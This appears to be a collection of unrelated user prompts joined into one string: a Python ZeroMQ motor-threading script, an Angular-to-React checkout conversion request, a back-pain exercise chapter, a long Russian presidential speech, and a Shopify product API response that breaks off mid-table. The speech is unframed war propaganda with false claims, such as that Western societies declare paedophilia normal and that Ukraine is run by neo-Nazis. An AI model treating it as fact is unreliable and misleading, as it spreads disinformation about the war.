{"neckupdown":"neckupdownposition", "neckupdown":"neckupdownposition", "neckleftright":"neckleftrightposition", "neckleftright":"neckleftrightposition"}\nthreads = []\ncontext = zmq.Context()\n###Threads are started and named by iterating over this list\nphysical\\_input\\_list = ["neckupdownposition", "neckupdownposition"]\n#neckupdown = "neckupdown"\n#motor\\_worker(neckupdown)\n### this iterates over a list of motors/direction combos and starts a thread for each unique motor/direction combo\nfor i in motor\\_list:\n t = threading.Thread(target=motor\\_worker, args=(i, ports, context,))\n t.start()\n threads.append(t)\n \n### this starts a single thread running the physical\\_input fuction defined above\nt = threading.Thread(target=physical\\_input\\_worker, args = ("physical\\_inputs\\_thread", ports, context,))\nt.start()\nthreads.append(t)\ntime.sleep(2)\ntest\\_message = "50,.3,2.95"\ncount = 0\nwhile True:\n \n user\\_target = float(input("enter a value between 2.52 and 3.02"))\n user\\_duty\\_cycle = int(input("input a value between 35 and 100"))\n user\\_motor = input(\'type a name from the motor name list\')\n user\\_duration = float(input(\'time a duration in seconds between .1 and .3\'))\n user\\_direction = int(input(\'input the direction. 0 for forward or 1 for backward\'))\n #test\\_message[0] = user\\_duty\\_cycle\n #test\\_message[1] = user\\_duration\n #test\\_message[2] = user\\_target\n test\\_message = str(user\\_duty\\_cycle) + \',\' + str(user\\_duration) + \',\' + str(user\\_target) + \',\' + str(user\\_direction)\n #ran = random.randint(0,3)\n\n zmq\\_to\\_thread(user\\_motor, test\\_message, ports, context)\n time.sleep(1)\n #time.sleep(random.randint(1,5))\n #sleep\\_duration = random.randint(2,5)\n #time.sleep(sleep\\_duration)\n #zmq\\_to\\_motor(i, test\\_message, ports, context)\n \n #time.sleep(.3)\nprint("this is the line right before my 4sec sleep") \ntime.sleep(4)\nprint("this is the line right After my 4sec sleep")\nfor t in threads:\n print("about to call a join")\n t.join()\n print(\'joined a worker\')\nprint(\'all done. should exit after this\')\n\n#### note to self. This ran very stragely. It seemd to be sending and receiving lots of messages pretty quickly but then slowed down. Even stranger, near the slowdown, it also reported that it was\n#### about to call a join. So it seems as thought the main thread exited its while loop but the workers were continuing to report messages"' -'The angular component is a checkout page for our e-commerce store where users can choose between 7 payment processors: zen, g2a, credit, coinbase, giftcards, payop, paytriot.\nConvert the Angular component into React completely. If you are missing any logic, use something smiliar or best practises. Your output should not require any adjustments by me. Use examples if you are missing context to write the full code\n\nimport { ChangeDetectionStrategy, ChangeDetectorRef, Component, OnDestroy, OnInit } from ‘@angular/core’;\nimport { MatDialog } from ‘@angular/material/dialog’;\n\nimport { Observable, of, Subject } from ‘rxjs’;\nimport { debounceTime, map, skip, switchMap, takeUntil } from ‘rxjs/operators’;\nimport { DepositService } from ‘../../services/deposit.service’;\n\nimport { Title } from ‘@angular/platform-browser’;\nimport { CasesService } from ‘src/app/cases/services/cases.service’;\nimport { ActivatedRoute, Router } from ‘@angular/router’;\nimport { MatCheckboxChange } from ‘@angular/material/checkbox’;\nimport { AppConfigService } from ‘src/app/core/services/app-config.service’;\nimport { patch, RxState } from ‘@rx-angular/state’;\nimport { GlobalLootieState } from ‘../../../rxstate/global-lootie.state’;\nimport { LanguageRouter } from ‘../../../core/services/language-router’;\nimport { SegmentProxy } from ‘../../../lazy-bootstrap/proxies/segment.proxy’;\nimport { LocalizedToastrService } from ‘../../../core/services/localized-toastr.service’;\nimport { defined } from ‘../../../core/utils/defined’;\n\nexport enum PaymentMethods {\nzen = ‘zen’,\ng2a = ‘g2a’,\ncredit = ‘credit’,\ncoinbase = ‘coinbase’,\ngiftcards = ‘giftcards’,\npayop = ‘payop’,\npaytriot = ‘paytriot’,\n}\n\nconst DEFAULT\\_DEPOSIT\\_AMOUNT = 100;\n\ninterface DepositState {\nloading: boolean;\ncheckoutUrl: string;\ncheckoutOptions: any;\nsuccess: boolean;\nfailed: string;\n}\n\n@Component({\nselector: ‘app-deposit’,\ntemplateUrl: ‘./deposit.component.html’,\nstyleUrls: [‘./deposit.component.scss’],\nchangeDetection: ChangeDetectionStrategy.OnPush,\n})\n\nexport class DepositComponent extends RxState();\n//// HANDLERS\nproceedDepositHandler$ = this.proceedDeposit$.pipe(\nswitchMap(({ type, data, coupon }) => {\nconst isCreditCharge = type === ‘credit’;\n// const paymentOption = isCreditCharge ? ‘card’ : undefined;\nconst box = localStorage.getItem(‘boxId’);\nconst d = localStorage.getItem(‘session’);\n\nreturn this.depositService[isCreditCharge ? ‘credit’ : type]({ data, coupon, box, d }).pipe(\nmap(res => {\nif (type === ‘steam’) {\nthis.localizedToastr.successMessage(‘We are processing your requests, please wait...’);\n} else if (res[‘data’] && res[‘data’].checkoutUrl) {\nthis.set({ checkoutUrl: res[‘data’].checkoutUrl });\n} else if (res[‘data’] && res[‘data’].checkoutOptions) {\nthis.set({ checkoutOptions: res[‘data’].checkoutOptions });\n}\n\nlocalStorage.removeItem(‘boxId’);\nlocalStorage.removeItem(‘boxName’);\n\nif (res[‘data’] && res[‘data’].balance && res[‘data’].deposited) {\nconst { balance, deposited } = res[‘data’];\n\nconst user = this.globalState.get(‘user’);\n\nthis.globalState.set({\nuser: patch(user, {\nbalance: defined(balance, user.balance),\ndepositedValue: defined(deposited, user.depositedValue),\n}),\n});\n\nif (res[‘message’]) {\nthis.localizedToastr.successMessage(res[‘message’]);\n}\n}\n}),\nthis.localizedToastr.toastHttpError()\n);\n})\n);\n\nisMobile$: Observable {\nif (params && params[‘mode’]) {\nconst mode = params[‘mode’];\nfor (const key in PaymentMethods) {\nif (mode === PaymentMethods[key]) {\nthis.selectedMethod = params[‘mode’];\nthis.startPayment(true);\n}\n}\n} else {\nthis.selectedMethod = PaymentMethods.credit;\nthis.paymentOption = ‘’;\nthis.depositTitle = ‘DEPOSIT.CHOOSE\\_PAYMENT\\_METHOD’;\n}\nthis.changeDetectorRef.markForCheck();\n});\n\nthis.titleService.setTitle(‘Deposit | Lootie’);\n\nconst promocode = localStorage.getItem(‘promocode’);\nif (promocode) {\nthis.promocode = promocode;\nlocalStorage.removeItem(‘promocode’);\n}\n\nthis.\\_debounceCode.pipe(debounceTime(500)).subscribe(\\_ => {\nif (this.promocode === ‘’) {\nthis.promocodeStatus = ‘’;\nthis.promocodeValue = 0;\nthis.changeDetectorRef.markForCheck();\nreturn;\n}\n\ntry {\nRegExp(this.promocode);\n} catch (error) {\nthis.promocodeStatus = ‘invalid’;\nthis.changeDetectorRef.markForCheck();\nreturn;\n}\n\nthis.isLoading$ = of(true);\nthis.depositService.validatePromocode(this.promocode).subscribe(\nres => {\nthis.isLoading$ = of(false);\nif (this.promocode) {\nthis.promocodeStatus = ‘valid’;\nthis.promocodeValue = res[‘data’].value;\n}\nthis.changeDetectorRef.markForCheck();\n},\n(res: Error) => {\nconst error = res[‘error’];\nthis.isLoading$ = of(false);\nif (this.promocode) {\nthis.promocodeStatus = ‘invalid’;\n}\nthis.changeDetectorRef.markForCheck();\n}\n);\n});\n\nthis.isStatusSuccess$.pipe(skip(1), takeUntil(this.unsubscribe$)).subscribe(isSuccess => {\nif (isSuccess) {\nthis.paymentOption = ‘success’;\n}\nthis.changeDetectorRef.markForCheck();\n// DepositDialogComponent.hide(this.dialog);\n});\n\nthis.isStatusFail$.pipe(skip(1), takeUntil(this.unsubscribe$)).subscribe(failOption => {\nif (failOption) {\nthis.paymentOption = failOption;\n}\nthis.changeDetectorRef.markForCheck();\n// DepositDialogComponent.hide(this.dialog);\n});\n\nthis.checkoutUrl$.pipe(skip(1), takeUntil(this.unsubscribe$)).subscribe(url => {\n// if (!url) {\n// return DepositDialogComponent.hide(this.dialog);\n// }\n// if (\n// this.paymentOption === PaymentMethods.coinbase ||\n// this.paymentOption === PaymentMethods.payop\n// ) {\nwindow.open(url, ‘\\_self’);\n// } else {\n// DepositDialogComponent.show(this.dialog, url);\n// }\n});\n\nthis.checkoutOptions$.pipe(skip(1), takeUntil(this.unsubscribe$)).subscribe(options => {\nthis.proceedFormDeposit(options);\n});\n\nthis.isMobile$.pipe(takeUntil(this.unsubscribe$)).subscribe(data => {\nthis.isMobile = data;\nthis.changeDetectorRef.markForCheck();\n});\n\nthis.paymentMethods = this.paymentMethods.map(item => {\nconst newItem = { ...item };\nconst bonusPercent = this.appConfigService.config?.depositBonus[item.value];\n\nif (bonusPercent && bonusPercent > 0) {\nnewItem[‘bonus’] = `${Math.floor(bonusPercent \\* 100)}% BONUS`;\n}\n\nreturn newItem;\n});\n}\n\nngOnInit() {\nif (this.isMobile) {\nsetTimeout(() => {\nconst el = document.getElementById(‘deposit-page-container’);\n\nwindow.scrollTo(0, el.offsetTop - 65);\n}, 100);\n}\n}\n\nonValidatePromocode() {\nthis.\\_debounceCode.next();\n}\n\nsendTicket(): void {\nwindow.Intercom(‘showNewMessage’);\n}\n\nonChangeAmount(isPositive: boolean): void {\nconst currentIndex = this.amountList.indexOf(this.amount);\nif (isPositive) {\nthis.amount = this.amountList[currentIndex + 1] || this.amount;\nreturn;\n}\n\nthis.amount = this.amountList[currentIndex - 1] || this.amount;\n}\n\nstartPayment(isRouteCheck?: boolean): void {\nif (this.selectedMethod === PaymentMethods.giftcards) {\nthis.amountList = [10, 25, 50, 100, 200];\nthis.depositTitle = ‘DEPOSIT.SELECT\\_GIFTCARD’;\n} else {\nthis.amountList = [...this.initialAmountList];\n}\n\nif (this.selectedMethod !== PaymentMethods.giftcards) {\nthis.depositTitle = ‘DEPOSIT.SELECT\\_YOUR\\_AMOUNT’;\n}\n\nthis.paymentOption = this.selectedMethod;\n\nif (!isRouteCheck) {\nthis.languageRouter.navigate([‘/topup’], {\nqueryParams: { mode: this.selectedMethod },\n});\n}\n\nthis.segment.track(‘Payment Method Chosen’, {\n// eslint-disable-next-line @typescript-eslint/naming-convention\nPaymentMethod: this.paymentOption,\n// eslint-disable-next-line @typescript-eslint/naming-convention\nAddFundsButtonClicked: this.casesService.addFundsButtonClicked,\n});\n}\n\nclearPromocode(): void {\nthis.promocode = ‘’;\nthis.promocodeStatus = ‘’;\nthis.promocodeValue = 0;\n}\n\nopenFAQ(value: boolean): void {\nthis.isPaymentFAQ = value;\n}\n\nonCurrencyInput(evt: Event) {\nconst value = (evt.target as HTMLInputElement).value;\nconst num = parseInt(value.replace(/[$,]/g, ‘’), 10);\n\n// [demidn] A bit workaround way for preventing users from typing letters.\n// We can not just always set this.amount = isNaN(num) ? 0 : num, because first time amount will be changed to 0\n// and change detection will work, howevever if user continue typing letters, we are changing amount from 0 to 0\n// same value and change detection will not run. So here we first set it to null and detect changes and then set to real\n// value and mark for check - in this case change detection will work always.\nthis.amount = null;\nthis.changeDetectorRef.detectChanges();\nthis.amount = isNaN(num) ? 0 : num;\nthis.changeDetectorRef.markForCheck();\n}\n\nproceedDeposit(): void {\nif (this.amount < 1 || this.promocodeStatus === ‘invalid’) {\nreturn;\n}\nif (this.isCreditCardPayment() && !this.isTOSAgreed) {\nreturn;\n}\n\n// this.store.dispatch(\n// new fromDeposit.ProceedDeposit({\n// type: this.paymentOption,\n// data: this.amount,\n// coupon: this.promocode,\n// })\n// );\nthis.proceedDeposit$.next({\ntype: this.paymentOption,\ndata: this.amount,\ncoupon: this.promocode,\n});\n\nthis.segment.track(‘Payment Amount Chosen’, {\n// eslint-disable-next-line @typescript-eslint/naming-convention\nPaymentAmount: this.amount,\n// eslint-disable-next-line @typescript-eslint/naming-convention\nAddFundsButtonClicked: this.casesService.addFundsButtonClicked,\n});\n}\n\nonOpenGiftCard() {\nwindow.open(this.giftcardLinks[this.amount], ‘targetWindow’, ‘width=500, height=800’);\n// window.open(\n// https://shoppy.gg/@Lootie,\n// ‘targetWindow’,\n// ‘width=500, height=800’\n// );\n}\n\nonChangeAgreeToTOS(ob: MatCheckboxChange) {\nthis.isTOSAgreed = ob.checked ? true : false;\n}\n\nisCreditCardPayment() {\nreturn this.selectedMethod === PaymentMethods.credit || this.selectedMethod === PaymentMethods.zen;\n}\n\nfilterLogos(logos, hideFullCreditLogs) {\nif (hideFullCreditLogs) return logos.slice(0, 2);\nreturn logos;\n}\n\nngOnDestroy() {\nthis.unsubscribe$.next();\nthis.unsubscribe$.complete();\n}\n\nproceedFormDeposit(options) {\nconst { method, url, form: params } = options;\nconst form = document.createElement(‘form’);\nform.setAttribute(‘method’, method);\nform.setAttribute(‘action’, url);\n\nfor (const key in params) {\nif (params.hasOwnProperty(key)) {\nconst hiddenField = document.createElement(‘input’);\nhiddenField.setAttribute(‘type’, ‘hidden’);\nhiddenField.setAttribute(‘name’, key);\nhiddenField.setAttribute(‘value’, params[key]);\n\nform.appendChild(hiddenField);\n}\n}\n\ndocument.body.appendChild(form);\nform.submit();\nform.remove();\n}\n}' -'CHAPTER FIFTEEN\n RULE #6\n Crawl Before You Walk, Walk Before You Run\n From Jeremy\nAs you know by now, the essence of the protocol is lifelong behavioral change. That means changing the way you carry yourself and move (the neutral spine and all that). But it also means adopting and staying with our carefully designed (and progressive) exercise regimen. It is designed for back pain and it is essential for a permanent cure. And you have to do it correctly. There is an awful lot of text and a bunch of pictures about exercise in this book. But it’s not because you have to do so many exercises; there really aren’t that many. It’s because we want you to do them right. Remember, you are far more likely to do these exercises with the compensatory patterns you have been doing for years unless you read closely and concentrate on doing them the right way. Doing them the wrong way will just make you better at doing bad things. \nOne great key to doing them right is to go slow in the learning process. Whether you’re the type or not, you have to take it step-by-step. This is a healing process, and you cannot rush a healing process; it has its own rhythm and you have to follow it. Roll out these exercises slowly over time, progressing from one level to the next only when you “get” the level you are on and are ready to move up. \nRemember, it is these daily exercises that—more than anything else—are going to give most of you a significant and permanent reduction in pain and tightness. Other steps get you past the immediate pain. These steps make the change permanent. \nBe Still to Heal; Be Still to Stay Well \nOne of the main goals of changing your movement patterns is to make the “be still to heal” concept (Rule #2, in Chapter 7) part of your daily life. Once you have achieved an initial fix, you don’t have to be as still. But it is a great idea to learn to move with relative stillness (without moving your lumbar spine too much) all the time. \nThis is a big change for most of you, and you have to take it in steps; as I say, you have to crawl before you walk. The first step in learning to keep your lumbar spine still routinely is simply to learn to march in place, with a neutral spine. (This is the “crawl” part of the process; it may seem too easy to bother with. It is not.) The goal is to learn to march in place with no lower spine movement. Then you can move on to other movements in this chapter.\nKey tip: If any of these movements hurt, take a step back to the last thing you could do without pain (marching in place, for instance). Stay with that for a few more days and then try to progress again. In theory, if you can march in place without pain, you can walk without pain and move without pain. It’s just a matter of building up your core, turning on the right muscles, and learning to use those muscles to move in the right way. Whenever you have difficulty, go back to the previous step and start again. \nOkay, you’ve done marching in place without moving your lower spine. Once that feels relatively simple, try doing this while walking. Things become a little murkier here because there are many factors at play. Because you are now weight-bearing, you need the support of important muscle groups like the glutes and latissimus dorsi (lats) to support your spine, in addition to the muscles we talked about in the core. If you can’t do this at first without pain, follow the advice in the book for a while, and it will come once you have developed enough strength to support your spine while standing. \nWalking with Neutral Spine \nLearning to walk with a neutral spine means applying the same mechanics of your Slow March with Neutral Spine exercise to an upright, weight-bearing position. Almost everyone can improve their ability to walk without pain if they can do the slow march exercise on the ground. The distance you can walk without pain, or without significant increases in pain, will increase as you build core and gluteal strength and endurance by doing the exercises in this book. To get started on increasing your ability to walk with decreased pain, follow these directions:\nStep 1: Stand with good posture. Stand tall, shoulders back, head over your shoulders. Think of sticking your chest out and pulling your shoulder blades down and back. Make sure you aren’t leaning forward. Tilt your pelvis back and forth (just like you did on the floor earlier), and stop where your lower back feels the most comfortable. \nStep 2: Use your core to lock your neutral spine in place. \nStep 3: Now try to walk while maintaining the position of your lower back and with the good posture you just set. It can help to put one hand on your stomach and one on your low back to feel for movement. Once you feel like you’ve mastered maintaining neutral spine while walking, start to swing your arms from the shoulders, arm to opposite leg. This means if your right leg is swinging forward, your left arm should be as well. Make sure to always swing your arms from the shoulders as you walk; this helps dissipate force away from the spine. This movement takes time to master so don’t get frustrated. Keep practicing. It gets easier after you have built endurance and strength in the muscles that support the spine. \nStep 4: If you sense your back is about to hurt, stop and have a seat for a few minutes and give your back a break. Then try walking a little longer. Over time, the period between these sitting breaks should increase, allowing you to walk farther without pain.\nNow let’s move on to more complex movements. To make it easier (and to improve your chances of success) we are going to break those more complex movements down into pieces and then put them all together at the end. We will start with movement from the hips, a very basic move in all our lives all the time. Let’s start with hip-hinging. Hip-hinging is a way to bend forward without stressing (i.e., bending) the spine. Done right, the axis of movement is in the hips, not the low back. Your low back should be in a protected neutral position with the core engaged. As you bend forward, your low back doesn’t round or move. Let’s look at a picture of hip-hinging and a picture of lumbar flexion (low back bending); one is good, the other is bad. This is simple stuff, but it is very hard to get over your ancient, bad habits. Hard but essential. \n\nHip-Hinge with Neutral Spine\nHere are a couple of pictures showing you the right way to hinge (on the left) and the wrong way (on the right). Notice the very slightly curved lower back in the hip-hinge picture on the left: no movement. Excellent! The pic on the right has quite a lot of spine movement; don’t do that. When you first try this movement, it may feel awkward, and you may assume that you cannot reach as far forward with good posture. Not so. You’ll soon realize that you can move just as far forward, using only your hips, as you did before, using your back. You don’t lose anything and you avoid a ton of pain. Over time you will gain mobility. The reason is that moving with your lower back eventually causes pain and stiffness in your back. But moving from your hips will not have that result. Let’s practice doing it right. \nRight Wrong\n\nStep 1: Stand with feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Feel the two bones sticking out of the sides of your hips. These are called your greater trochanters. Picture a pole going through these two points, passing right through your pelvis. This is your imaginary axis of movement.\nStep 5: Now place one hand on your stomach and the other on your back. On your back, put your fingers on those little bones sticking out (spinous processes). You are putting your hands here to feel for any unwanted movement when you hip-hinge. \nStep 6: Without moving anything in the core (you shouldn’t feel those little bones in your back moving), slowly bend forward on that imaginary axis of movement through the hip bones while sticking your buttocks out behind you a little bit. If you feel your stomach or back move, stop, reset, and try again.\n\nStep 7: Go only as far forward as you can without moving your back. For many of you, your hamstrings (back of legs) are going to be a limiting factor in your range of motion in the beginning. Don’t worry if you can’t go too far. Your hamstrings will loosen up in time if you follow all of the advice in this book. \nStep 8: Slowly return to the starting position without moving your back or stomach. \nStep 9: This should not hurt your low back. If it does, reset your stance, find neutral spine, brace your core. Not hurting? Now try it again with a very small range of motion. Stay within the range of motion that doesn’t hurt. Slowly increase your range of motion over time—it will come. \nAdding Rotation\nNow let’s get a little more complex. Let’s add rotation to the bend. Hip-hinging correctly allows you to move forward and backward without pain. Now let’s learn to move side to side. We are talking rotation. Again, think about moving from the hips. It’s easiest to visualize proper rotation if you think about your waist. We don’t want any movement at the waist. Try to picture your rib cage being locked on to your pelvis. That’s what you want. Pretend that there are no joints between your ribs and pelvis, for this one. \nFull-Body Rotation\nThe chest, navel, and hips all move together. This means there is no (or very little) movement in the spine. The body rotates by moving the hips, knees, and pelvis. If the hips and pelvis stay facing forward while the rib cage moves, the movement comes from the waist, and therefore the lumbar spine. This type of movement can wear down the discs and joints in the spine over time, especially when additional load is applied (like unloading the dishwasher for instance). Just like hip-hinging, rotation done properly doesn’t cause you to lose mobility and will improve athletic performance. Let’s give it a try. Once again, the new movement is not that hard. But you are trying to unlearn a lifetime of moving with your spine. That is hard. \n\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Place your hands on the top of your pelvis with your fingers pointed forward. This hand position is to help you visualize movement of the pelvis as you get used to this movement. \nStep 5: Keep the knees bent and loose but the core engaged, and try to turn a little to the right by shifting the knees and hips. Your fingers, navel, hip bones, chest bone, and face should all point the same direction. It’s okay if you pivot the feet a little bit. \n\nStep 6: Now try to the left.\nStep 7: Slowly increase your range of motion by bending more at the knees. \nStep 8: Then increase your range of motion even more by pivoting your feet. \nStep 9: At all times and especially at the end of the movement, your chest bone, head, navel, and hips should be in alignment. \nTROUBLESHOOTING\nKnee pain: Stay lighter on your feet\\ and pivot the ball of the inside foot (the side you are moving away from) as you rotate. \nTorso Rotation with Hip-Hinge and Squat\nNow let’s try to put those two movements—the hip-hinge and the rotation—together with a squat for a realistic, three-dimensional movement that allows you to accomplish everyday tasks (think unloading the dishwasher, putting up groceries) without stressing your back. You are going to rotate and bend down (hip-hinge), then come back up to the other side and extend. \nNotice that within that entire chain of movement, the person in the drawing does not really move his spine (look at the waist if you’re having trouble visualizing that). The rib cage remains locked onto the pelvis the entire time. These pictures show you that you can go almost 180 degrees from side to side, stooping as low as you can and then extending as high as your hands can go, without compromising your back. Let’s try it.\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Find neutral spine and engage your core to lock it in. \nStep 3: Stand with good posture. \nStep 4: Rotate torso to the right without twisting the waist as before.' -"The recent Munich Conference turned into an endless stream of accusations against Russia. One gets the impression that this was done so that everyone would forget what the so-called West has been doing over the past decades. They were the ones who let the genie out of the bottle, plunging entire regions into chaos.\n\nAccording to US experts, almost 900,000 people were killed during wars unleashed by the United States after 2001, and over 38 million became refugees. Please note, we did not invent these statistics; it is the Americans who are providing them. They are now simply trying to erase all this from the memory of humankind, and they are pretending that all this never happened. However, no one in the world has forgotten this or will ever forget it.\n\nNone of them cares about human casualties and tragedies because many trillions of dollars are at stake, of course. They can also continue to rob everyone under the guise of democracy and freedoms, to impose neoliberal and essentially totalitarian values, to brand entire countries and nations, to publicly insult their leaders, to suppress dissent in their own countries and to divert attention from corruption scandals by creating an enemy image. We continue to see all this on television, which highlights greater domestic economic, social and inter-ethnic problems, contradictions and disagreements.\n\nI would like to recall that, in the 1930s, the West had virtually paved the way to power for the Nazis in Germany. In our time, they started turning Ukraine into an “anti-Russia.”\n\nActually, this project is not new. People who are knowledgeable about history at least to some extent realise that this project dates back to the 19th century. The Austro-Hungarian Empire and Poland had conceived it for one purpose, that is, to deprive Russia of these historical territories that are now called Ukraine. This is their goal. There is nothing new here; they are repeating everything.\n\nThe West expedited the implementation of this project today by supporting the 2014 coup. That was a bloody, anti-state and unconstitutional coup. They pretended that nothing happened, and that this is how things should be. They even said how much money they had spent on it. Russophobia and extremely aggressive nationalism formed its ideological foundation.\n\nQuite recently, a brigade of the Armed Forces of Ukraine was named Edelweiss after a Nazi division whose personnel were involved in deporting Jews, executing prisoners of war and conducting punitive operations against partisans in Yugoslavia, Italy, Czechoslovakia and Greece. We are ashamed to talk about this, but they are not. Personnel serving with the Armed Forces of Ukraine and the Ukrainian National Guard are particularly fond of chevrons formerly worn by soldiers from Das Reich, Totenkopf (Death’s Head) and Galichina divisions and other SS units. Their hands are also stained with blood. Ukrainian armoured vehicles feature insignia of the Nazi German Wehrmacht.\n\nNeo-Nazis are open about whose heirs they consider themselves to be. Surprisingly, none of the powers that be in the West are seeing it. Why? Because they – pardon my language – could not care less about it. They do not care who they are betting on in their fight against us, against Russia. In fact, anyone will do as long as they fight against us and our country. Indeed, we saw terrorists and neo-Nazis in their ranks. They would let all kinds of ghouls join their ranks, for God’s sake, as long as they act on their will as a weapon against Russia.\n\nIn fact, the anti-Russia project is part of the revanchist policy towards our country to create flashpoints of instability and conflicts next to our borders. Back then, in the 1930s, and now the design remains the same and it is to direct aggression to the East, to spark a war in Europe, and to eliminate competitors by using a proxy force.\n\nWe are not at war with the people of Ukraine. I have made that clear many times. The people of Ukraine have become hostages of the Kiev regime and its Western handlers, who have in fact occupied that country in the political, military and economic sense and have been destroying Ukrainian industry for decades now as they plundered its natural resources. This led to social degradation and an immeasurable increase in poverty and inequality. Recruiting resources for military operations in these circumstances was easy. Nobody was thinking about people, who were conditioned for slaughter and eventually became expendables. It is a sad and dreadful thing to say, but it is a fact.\n\nResponsibility for inciting and escalating the Ukraine conflict as well as the sheer number of casualties lies entirely with the Western elites and, of course, today’s Kiev regime, for which the Ukrainian people are, in fact, not its own people. The current Ukrainian regime is serving not national interests, but the interests of third countries.\n\nThe West is using Ukraine as a battering ram against Russia and as a testing range. I am not going to discuss in detail the West's attempts to turn the war around, or their plans to ramp up military supplies, since everyone is well aware of that. However, there is one circumstance that everyone should be clear about: the longer the range of the Western systems that will be supplied to Ukraine, the further we will have to move the threat away from our borders. This is obvious.\n\nThe Western elite make no secret of their goal, which is, I quote, “Russia’s strategic defeat.” What does this mean to us? This means they plan to finish us once and for all. In other words, they plan to grow a local conflict into a global confrontation. This is how we understand it and we will respond accordingly, because this represents an existential threat to our country.\n\nHowever, they too realise it is impossible to defeat Russia on the battlefield and are conducting increasingly aggressive information attacks against us targeting primarily the younger generation. They never stop lying and distorting historical facts as they attack our culture, the Russian Orthodox Church and other traditional religious organizations in our country.\n\nLook what they are doing to their own people. It is all about the destruction of the family, of cultural and national identity, perversion and abuse of children, including pedophilia, all of which are declared normal in their life. They are forcing the priests to bless same-sex marriages. Bless their hearts, let them do as they please. Here is what I would like to say in this regard. Adult people can do as they please. We in Russia have always seen it that way and always will: no one is going to intrude into other people’s private lives, and we are not going to do it, either.\n\nBut here is what I would like to tell them: look at the holy scripture and the main books of other world religions. They say it all, including that family is the union of a man and a woman, but these sacred texts are now being questioned. Reportedly, the Anglican Church is planning, just planning, to explore the idea of a gender-neutral god. What is there to say? Father, forgive them, for they know not what they do.\n\nMillions of people in the West realise that they are being led to a spiritual disaster. Frankly, the elite appear to have gone crazy, and it looks like there is no cure for that. But like I said, these are their problems, while we must protect our children, which we will do. We will protect our children from degradation and degeneration.\n\nClearly, the West will try to undermine and divide our society and to bet on the fifth columnists who, throughout history, and I want to emphasise this, have been using the same poison of contempt for their own Fatherland and the desire to make money by selling this poison to anyone who is willing to pay for it. It has always been that way.\n\nThose who have embarked on the road of outright betrayal, committing terrorist and other crimes against the security of our society and the country’s territorial integrity, will be held accountable for this under law. But we will never behave like the Kiev regime and the Western elite, which have been and still are involved in witch hunts. We will not settle scores with those who take a step aside and turn their back on their Motherland. Let this be on their conscience, let them live with this – they will have to live with it. The main point is that our people, the citizens of Russia, have given them a moral assessment.\n\nI am proud, and I think we are all proud that our multi-ethnic nation, the absolute majority of our citizens, have taken a principled stance on the special military operation. They understand the basic idea of what we are doing and support our actions on the defence of Donbass. This support primarily revealed their true patriotism – a feeling that is historically inherent in our nation. It is stunning in its dignity and deep understnding by everyone – I will stress, everyone – of the inseparable link between one’s own destiny and the destiny of the Fatherland.\n\nMy dear friends, I would like to thank everyone, all the people of Russia for their courage and resolve. I would like to thank our heroes, soldiers and officers in the Army and the Navy, the Russian Guards, the secret services staff, and all structures of authority, the fighters in Donetsk and Lugansk corps, volunteers and patriots who are now fighting in the ranks of the BARS combat army reserve.\n\nI would like to apologise that I will not be able to mention everyone during today’s speech. You know, when I was drafting this speech, I wrote a very long list of these heroic units but then removed it from my text because, as I said, it is impossible to mention everyone, and I was afraid to offend anyone I might leave out.\n\nMy deepest gratitude to the parents, wives and families of our defenders, the doctors and paramedics, combat medics and medical nurses that are saving the wounded; to the railway workers and drivers that are supplying the front; to the builders that are erecting fortifications and restoring housing, roads and civilian facilities; to the workers and engineers at defence companies, who are now working almost around-the-clock, in several shifts; and to rural workers who reliably ensure food security for the country.\n\nI am grateful to the teachers who sincerely care for the young generations of Russia, especially those that are working in very difficult, almost front-line conditions; the cultural figures that are visiting the zone of hostilities and hospitals to support the soldiers and officers; volunteers that are helping the front and civilians; journalists, primarily war correspondents, that are risking their lives to tell the truth to the world; pastors of Russia’s traditional religions and military clergy, whose wise words support and inspire people; government officials and business people – all those who fulfill their professional, civil and simply human duty.\n\nMy special words go to the residents of the Donetsk and Lugansk people’s republics, and the Zaporozhye and Kherson regions. You, my friends, determined your future at the referendums and made a clear choice despite the neo-Nazis’ threats and violence, amid the close military actions. But there has been nothing stronger than your intent to be with Russia, with your Motherland." -'Given this API response\n{\n "id": "4f07d5a7-4311-4d4d-9d12-342f6bc1d7e1",\n "shop": {\n "id": "4c2f2588-8cfa-479a-8bcf-0c7ee75ee36f",\n "myshopify\\_domain": "gastronomical-global.myshopify.com",\n "country": "US",\n "domain": "ghettogastro.com"\n },\n "variants": [\n {\n "id": "22cc1ccc-6418-4f3c-a9d9-c06e2ce22a4a",\n "shop": {\n "id": "4c2f2588-8cfa-479a-8bcf-0c7ee75ee36f",\n "myshopify\\_domain": "gastronomical-global.myshopify.com",\n "country": "US",\n "domain": "ghettogastro.com"\n },\n "inventory\\_policy": "deny",\n "inventory\\_quantity": 278,\n "inventory\\_item\\_cost": null,\n "option1": "Default Title",\n "option2": null,\n "option3": null,\n "position": 1,\n "price": 20.0,\n "title": "Default Title",\n "sku": "GSTWVYAR1",\n "grams": 0.0,\n "weight": 0.0\n }\n ],\n "body\\_html": "Don’t cheat yourself, treat yourself with WAVY, a nourishing waffle and pancake mix that\'s sweet and decadent. Inspired by our ancestors breaking bread we connect the flavors of Africa, Asia, and The Americas through our ingredient stack. Made with organic roots and grains.\n\n\\nNon-GMO. Plant Based. Gluten Free. No sugar cane.\n\n\\n\n\n\\n\\n|\\n Ingredients |\\n Nutrition Facts |\\n\n\\n|\\n Rice Flour\\*, Cassava Flour\\*, Coconut Sugar\\*, Tigernut Flour\\*, Cocoa Butter Powder, Potato Starch\\*, Sorghum Flour\\*, Amaranth Powder\\*, Kosher Salt, Active Yeast\\*, Baking Powder, Sunflower Lecithin\\*. (\\*Organic) \xa0 |\\n \\n\n\n\\n\\n|\\n \\n12 servings per containerServing size: 3 Tablespoons (35g)\\n |\\n\n\\n|\\n |\\n |\\n\n\\n|\\n \\nAmount\xa0per Serving |\\n % Daily Value\\*\\n |\\n\n\\n|\\n |\\n |\\n\n\\n|\\n Calories\xa0150\\n |\\n |\\n\n\\n|\\n \\nTotal Fat 4.5g\\n |\\n 6% |\\n\n\\n|\\n \\n\xa0 \xa0 \xa0Saturated Fat 2g\\n |\\n 10% |\\n\n\\n|\\n \\n\xa0 \xa0 \xa0Trans Fat 0g\\n |\\n |\\n\n\\n|\\n 